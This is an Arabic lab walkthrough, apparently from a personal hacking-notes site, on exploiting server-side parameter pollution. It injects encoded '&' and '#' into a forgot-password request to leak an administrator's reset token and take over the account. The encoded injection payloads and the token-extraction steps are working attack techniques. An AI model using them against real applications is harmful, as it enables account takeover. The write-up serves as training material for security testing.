> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# تلوث المعاملات من جانب الخادم في سلسلة الاستعلام

### استغلال تلوث المعلمات من جانب الخادم في سلسلة الاستعلام

**هدف المختبر**/ سجّل الدخول كمسؤول ثم احذف المستخدم **carlos**.

#### وظيفة نسيت كلمة المرور

ميزة إعادة تعيين كلمة المرور متاحة.

<figure><img src="/files/8d4ce011de015807ba490fe8fa6a31a7cefe2f48" alt=""><figcaption></figcaption></figure>

الطلب المرسل إلى الخادم هو كما يلي:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

استجابة الخادم هي:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/a65d82397edcb63d3c5cb0943a324c8b60dc40d9" alt=""><figcaption></figcaption></figure>

#### محاولات لتلويث المعلمات

حاول إضافة معلمة جديدة عبر `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

أو بصيغة مشفرة:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

يجيب الخادم:

```json
{
    "error": "المعلمة غير مدعومة."
}
```

#### باستخدام `#` الحرف

مع `#`، يتغير السلوك:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

أو بصيغة مشفرة:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

استجابة الخادم:

```json
{
    "error": "لم يتم تحديد الحقل."
}
```

هذا يشير إلى وجود **خاص** معلمة متوقعة على جانب الخادم.

#### اكتشاف `خاص` المعلمة

أرسل الطلب التالي:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

ثم ندمج `خاص` بـ `#` لحقن قيم إضافية:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

أو بصيغة مشفرة:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/2e38712ec364a6377f4107a9bddc157fa7f922a5" alt=""><figcaption></figcaption></figure>

من خلال اختبار أسماء متغيرات مختلفة **على جانب الخادم**، ستحصل على إجابة صحيحة مع الرمز **200**، مما يكشف الحقول **البريد الإلكتروني** و **اسم المستخدم**.

<figure><img src="/files/0f90cf03395e972c5a8468c63f627c6f32dab84e" alt=""><figcaption></figcaption></figure>

#### تحليل ملف JavaScript forgot-password.js

يكشف ملف JavaScript المتاح عن المنطق التالي:

* يتم ترميز بيانات النموذج يدويًا.
* يُرسل الاستعلام عبر `fetch` في POST.
* إذا كانت الإجابة تحتوي على `result` ، يتم عرض الرسالة يرجى التحقق من بريدك الإلكتروني.
* ملف **reset-token** تتم استعادة المعلمة من سلسلة الاستعلام:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "اسم المستخدم غير صالح";
                }
                else
                {
                    forgotPasswordError.textContent = `يرجى التحقق من بريدك الإلكتروني: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "اسم المستخدم غير صالح";
            });
    } catch (error) {
        console.error("خطأ غير متوقع:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

هذا يؤكد وجود **رمز إعادة التعيين/ token** المعامل.

#### تشغيل `reset_token` المعلمة

ثم يتم حقن هذه المعلمة عبر تلوث الخادم:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

يجيب الخادم:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/be1070a88a6756a7529dad417f4fb335e51e55a8" alt=""><figcaption></figcaption></figure>

#### إعادة تعيين كلمة مرور المسؤول

باستخدام الرمز الذي تم الحصول عليه، يمكنك الوصول إلى الرابط التالي:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

يتيح لك هذا إعادة تعيين كلمة مرور المسؤول، وتسجيل الدخول بهذا الحساب، ثم حذف المستخدم **carlos**، وبذلك يتم التحقق من صحة المختبر.

<figure><img src="/files/17daad3e4e3ff1b06c3c8e5a81b6335a8b1c1a11" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
